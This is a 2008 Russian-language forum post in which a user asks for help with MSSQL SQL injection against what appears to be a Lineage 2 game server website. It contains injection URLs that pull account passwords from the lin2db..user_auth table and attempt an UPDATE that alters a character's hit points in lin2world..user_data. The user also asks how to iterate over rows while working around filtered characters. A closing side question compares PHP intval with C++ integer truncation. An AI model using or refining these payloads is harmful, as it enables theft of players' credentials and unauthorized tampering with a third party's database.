Тема: mssql inj help
Показать сообщение отдельно

  #52  
Старый 21.07.2008, 10:04
NamahS
Новичок
Регистрация: 26.06.2008
Сообщений: 26
С нами: 9408179

Репутация: 1
По умолчанию

Цитата:
Сообщение от [ cash ]  
Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.
Ну подскажи плиз, не могу update я сделать...
для примера:
такой запрос и ему подобные проходят
/?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar) %2Bchar(97)+from+lin2db..user_auth+where+account=% 22login%22)--
не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97 )+from+lin2db..user_auth)+where+account=%22login%2 2)-- для перебора ...чтобы и перебор был и условие сохранялось?
Где я ошибаюсь в запросе UPDATE ?
/?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22 202.001%22+where+char_name=%22lalala%22)--......????
Знаки ; , ' вырезаются
И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1

Последний раз редактировалось NamahS; 21.07.2008 в 10:17..
 
Ответить с цитированием